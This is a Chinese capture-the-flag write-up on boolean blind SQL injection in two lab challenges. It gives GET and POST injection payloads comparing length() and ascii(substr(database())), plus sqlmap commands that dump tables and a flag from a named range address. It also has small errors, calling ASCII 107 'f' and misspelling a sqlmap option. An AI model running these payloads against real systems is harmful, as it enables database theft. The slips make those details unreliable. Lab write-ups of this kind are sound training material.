布尔盲注
布尔盲注
原理:在没有错误回显的情况下,我们利用length() ;substr()进行字母和数字的转化,把需要获取的信息转化为可比较的数字,再利用ascii码对应的字母的值来进行数据库信息的获取。工程非常庞大,需要一点一点试出来
第一题:
由于没有任何的报错点,只能看到有数据,同时url栏上方是GET传参,所以我们直接再url栏上进行操作,在后方输入代码
and length(database())>9
然后修改and length(database())>9中的9依次递增,最终得到在12的时候没有得到数据
and length(database())>12

于是判断数据库的名字长度是12
接着,我们用substr函数去一个个试试出数据库的第一个字母的ascii码值,在url栏输入代码
and ascii(substr(database(),1,1))>90

然后把代码最后的大于90逐个递增,终于找到了107的时候是没有数据的,于是我们判定它第一个字母对应的ascii码值就是107
and ascii(substr(database(),1,1))=107

同时查ascii码表107对应的是f,于是数据库的第一个字母就找到了

接着我们用同样的方法查第二个字母,输入代码,找到第二个字母,找到ascii码对应的值是97是a
and ascii(substr(database(),2,1))=97

接下来,我们用burp抓包工具来找,并同时标记两个变量

找出所有长度异常的包,一一和ascii码值对应,最终得到数据库名字
kanwolongxia
得到数据库名后,直接用sqlmap跑出表名
python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia --tabales

再跑列名
python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia -T loflag --columns
最终直接抛出数据
python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump

得到flag
其他的无非就是闭合问题
第二题:
靶场地址
这是post传参的盲注,我首先判断回显是什么输入万能密码
1' or 1=1 #

登陆成功是没有显示的
而失败是有显示的

在username输入
1' or length(database())>9 #
发现登陆成功
然后修改1’ or length(database())>9 #中的9依次递增,最终得到在12的时候没有得到数据
得到数据库字段12

然后利用
1' or ascii(substr(database(),1,1))>90 #

最终一次判断出
1' or ascii(substr(database(),1,1))=107 #

重复上面题的方法,最后得到flag

浙公网安备 33010602011771号